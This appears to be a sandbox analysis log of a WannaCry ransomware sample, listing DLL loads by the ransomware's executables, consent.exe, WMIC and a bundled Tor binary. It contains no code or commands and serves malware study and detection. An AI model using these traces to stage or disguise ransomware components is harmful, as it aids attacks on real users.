Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\consent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\consent.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wmsgapi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msctfmonitor.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msimg32.dll
Source: C:\Windows\System32\consent.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msutb.dll
Source: C:\Windows\System32\consent.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\consent.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\consent.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\consent.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\consent.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\consent.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\consent.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\consent.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\consent.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\consent.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\consent.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\consent.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\consent.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libevent-2-0-5.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libeay32.dll
